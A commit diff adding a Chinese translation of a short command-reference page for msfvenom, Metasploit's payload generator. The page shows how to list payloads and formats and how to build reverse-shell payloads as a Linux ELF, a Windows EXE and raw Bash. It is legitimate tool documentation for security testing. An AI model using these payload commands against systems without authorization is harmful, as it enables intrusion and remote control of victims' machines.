add new chinese translations

pages.zh/common/msfvenom.md

@@ -0,0 +1,28 @@
+# msfvenom
+
+> 手动生成 Metasploit 的有效载荷。
+> 更多信息：<https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom>。
+
+- 列出有效载荷：
+
+`msfvenom -l payloads`
+
+- 列出格式：
+
+`msfvenom -l formats`
+
+- 显示有效载荷选项：
+
+`msfvenom -p {{payload}} --list-options`
+
+- 创建带有反向 TCP 处理程序的 ELF 二进制文件：
+
+`msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST={{local_ip}} LPORT={{local_port}} -f elf -o {{path/to/binary}}`
+
+- 创建带有反向 TCP 处理程序的 EXE 二进制文件：
+
+`msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST={{local_ip}} LPORT={{local_port}} -f exe -o {{path/to/binary.exe}}`
+
+- 创建带有反向 TCP 处理程序的原始 Bash：
+
+`msfvenom -p cmd/unix/reverse_bash LHOST={{local_ip}} LPORT={{local_port}} -f raw`